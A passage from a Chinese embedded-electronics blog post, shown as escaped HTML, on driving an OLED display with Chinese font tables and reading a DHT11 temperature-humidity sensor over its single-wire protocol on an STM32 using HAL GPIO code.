\u003ccode\u003eSCL\u003c/code\u003e 与 \u003ccode\u003eSDA\u003c/code\u003e 的引脚。本次分别使用 \u003ccode\u003ePA1\u003c/code\u003e , \u003ccode\u003ePA0\u003c/code\u003e 。\u003c/p\u003e\u003ch4 id=\"添加OLED驱动\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E6%B7%BB%E5%8A%A0OLED%E9%A9%B1%E5%8A%A8\" class=\"headerlink\" title=\"添加OLED驱动\"\u003e\u003c/a\u003e添加OLED驱动\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003ebmp.h\u003c/code\u003e , \u003ccode\u003egui.h\u003c/code\u003e , \u003ccode\u003egui.c\u003c/code\u003e , \u003ccode\u003eoled.c\u003c/code\u003e , \u003ccode\u003eoled.h\u003c/code\u003e , \u003ccode\u003eoledfont.h\u003c/code\u003e , \u003ccode\u003etest.c\u003c/code\u003e , \u003ccode\u003etest.h\u003c/code\u003e 。\u003c/p\u003e\u003cp\u003e这次所用的汉字取模保存至 \u003ccode\u003eoledfont.h\u003c/code\u003e 内,注意为gb2312编码。\u003c/p\u003e\u003cp\u003e取模使用 \u003ccode\u003ePCtoLCD2002\u003c/code\u003e ,为逐行式,顺向。考虑到屏幕大小,取模的大小为16×16。添加在 \u003ccode\u003econst typFNT_GB16 cfont16[]\u003c/code\u003e 的后面。如:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token string\"\u003e\u0026#34;康\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x3F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xF8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x3F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xF8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xC4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xA8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x90\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x92\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x86\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\u0026#34;康\u0026#34;*/\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;师\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x0B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x09\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\u0026#34;师\u0026#34;*/\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;傅\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x0F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x17\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x37\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x54\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x97\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x1F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\u0026#34;傅\u0026#34;*/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e显示汉字使用 \u003ccode\u003eGUI_ShowCHinese(uint8_t x,uint8_t y,uint8_t hsize,uint8_t *str,uint8_t mode)\u003c/code\u003e ,使用实例如 \u003ccode\u003eGUI_ShowCHinese(40,2,16,\u0026#34;康师傅\u0026#34;,1);\u003c/code\u003e\u003c/p\u003e\u003cp\u003e该函数说明:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/***************************************************************************** * @name :void GUI_ShowCHinese(uint8_t x,uint8_t y,uint8_t hsize,uint8_t *str,uint8_t mode) * @date :2018-08-27 * @function :Display Chinese strings * @parameters :x:the bebinning x coordinate of the Chinese strings y:the bebinning y coordinate of the Chinese stringssize:the size of Chinese stringsstr:the start address of the Chinese stringsmode:0-white background and black character 1-black background and white character * @retvalue :None******************************************************************************/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e显示其他内容可以 结合\u003ccode\u003etest.c\u003c/code\u003e 中的实例与 \u003ccode\u003egui.c\u003c/code\u003e 里的函数说明学习。\u003c/p\u003e\u003cp\u003e为了分开gb2312与utf-8,我将显示中文的地方全部写在了一个文件里,我在 \u003ccode\u003emain.c\u003c/code\u003e 用到的时候直接调用。\u003c/p\u003e\u003ch3 id=\"驱动DHT11温湿度传感器(单总线协议的学习)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E9%A9%B1%E5%8A%A8DHT11%E6%B8%A9%E6%B9%BF%E5%BA%A6%E4%BC%A0%E6%84%9F%E5%99%A8%EF%BC%88%E5%8D%95%E6%80%BB%E7%BA%BF%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AD%A6%E4%B9%A0%EF%BC%89\" class=\"headerlink\" title=\"驱动DHT11温湿度传感器(单总线协议的学习)\"\u003e\u003c/a\u003e驱动DHT11温湿度传感器(\u003cstrong\u003e单总线协议的学习\u003c/strong\u003e)\u003c/h3\u003e\u003cp\u003e)当时大二赶广和通项目的时候用的是 \u003ccode\u003eDS18B20\u003c/code\u003e 来着,是个单总线协议的温度传感器,网上找了段代码糊了一个,这次用 \u003ccode\u003eDHT11\u003c/code\u003e 学习学习单总线协议。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eDHT11 是一款湿温度一体化的数字传感器。该传感器包括一个电阻式测湿元件和一个 NTC\u003cbr/\u003e测温元件,并与一个高性能 8 位单片机相连接。通过单片机等微处理器简单的电路连接就能够\u003cbr/\u003e实时的采集本地湿度和温度。DHT11 与单片机之间能采用简单的单总线进行通信,仅仅需要一\u003cbr/\u003e个 I/O 口。传感器内部湿度和温度数据 40Bit 的数据一次性传给单片机,数据采用校验和方式\u003cbr/\u003e进行校验,有效的保证数据传输的准确性。DHT11 功耗很低,5V 电源电压下,工作平均最大\u003cbr/\u003e电流 0.5mA。DHT11 的技术参数:工作电压范围:3.3V-5.5V;工作电流 :平均 0.5mA;输出:单总线数字信号;测量范围:湿度 20\u003cdel\u003e90%RH,温度 0\u003c/del\u003e50℃;精度 :湿度±5%,温度±2℃;分辨率 :湿度 1%,温度 1℃;\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"DHT11-数据传输格式\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#DHT11-%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"DHT11 数据传输格式\"\u003e\u003c/a\u003eDHT11 数据传输格式\u003c/h4\u003e\u003cp\u003eDHT11 数字湿温度传感器采用单总线数据格式。即,单个数据引脚端口完成输入输出双向传输。其数据包由 40Bit 组成。数据分小数部分和整数部分,一次完整的数据传输为40bit,高位先出。\u003c/p\u003e\u003cp\u003eDHT11 的数据格式为:\u003cstrong\u003e8bit 湿度整数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 湿度小数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 温度整数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 温度小数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 校验和\u003c/strong\u003e。其中校验和数据为前四个字节相加。\u003cbr/\u003e传感器数据输出的是未编码的二进制数据。数据(湿度、温度、整数、小数)之间应该分开处理。例如,某次从 DHT11 读到的数据如下表所示:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003ebyte4\u003c/th\u003e\u003cth\u003ebyte3\u003c/th\u003e\u003cth\u003ebyte2\u003c/th\u003e\u003cth\u003ebyte1\u003c/th\u003e\u003cth\u003ebyte0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0010 1101\u003c/td\u003e\u003ctd\u003e0000 0000\u003c/td\u003e\u003ctd\u003e0001 1100\u003c/td\u003e\u003ctd\u003e0000 0000\u003c/td\u003e\u003ctd\u003e0100 1001\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e湿度 \u003cstrong\u003e整数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e湿度 \u003cstrong\u003e小数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e温度 \u003cstrong\u003e整数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e温度 \u003cstrong\u003e小数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e校验和\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e由以上数据就可得到湿度和温度的值,计算方法:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e湿度= byte4 . byte3=45.0 (%RH)\u003cbr/\u003e温度= byte2 . byte1=28.0 ( ℃)\u003cbr/\u003e校验= byte4+ byte3+ byte2+ byte1=73(=湿度+温度)(校验正确)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eDHT11 的数据格式是十分简单,DHT11 和 MCU 的一次通信最大为 3ms 左右,建议主机连续读取时间间隔不要小于 100ms。 下面,我们介绍一下 DHT11 的传输时序。\u003c/p\u003e\u003ch4 id=\"提前准备\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E6%8F%90%E5%89%8D%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"提前准备\"\u003e\u003c/a\u003e提前准备\u003c/h4\u003e\u003cp\u003e本次使用数据传输脚:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 数据传输脚 PA12\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eDHT11_DQ_OUT\u003c/span\u003e \u003cspan class=\"token expression\"\u003eGPIO_PIN_12\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e设置数据传输脚为输出:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_IO_OUT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e GPIO_InitTypeDef GPIO_InitStruct \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePin \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eMode \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_MODE_OUTPUT_PP\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePull \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_NOPULL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eSpeed \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_SPEED_FREQ_LOW\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e设置数据传输脚为输入:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_IO_IN\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e GPIO_InitTypeDef GPIO_InitStruct \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePin \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eMode \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_MODE_INPUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePull \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_PULLUP\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_GPIO_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"DHT11-的数据发送流程\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#DHT11-%E7%9A%84%E6%95%B0%E6%8D%AE%E5%8F%91%E9%80%81%E6%B5%81%E7%A8%8B\" class=\"headerlink\" title=\"DHT11 的数据发送流程\"\u003e\u003c/a\u003eDHT11 的数据发送流程\u003c/h4\u003e\u003cp\u003eDHT11 的数据发送流程如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-1.png\" alt=\"DHT11 的数据发送流程\"/\u003e\u003c/p\u003e\u003ch5 id=\"开始信号\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E5%BC%80%E5%A7%8B%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"开始信号\"\u003e\u003c/a\u003e开始信号\u003c/h5\u003e\u003cp\u003e首先主机发送 \u003cstrong\u003e开始信号\u003c/strong\u003e,即:拉低数据线,保持 t1(至少 18ms)时间,然后 \u003cstrong\u003e拉高数据线\u003c/strong\u003e t2(20~ 40us)时间,然后读取 DHT11 的响应。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-2.png\" alt=\"DHT11 开始信号\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e复位DHT11\u003c/strong\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-C\" data-language=\"C\"\u003e\u003ccode 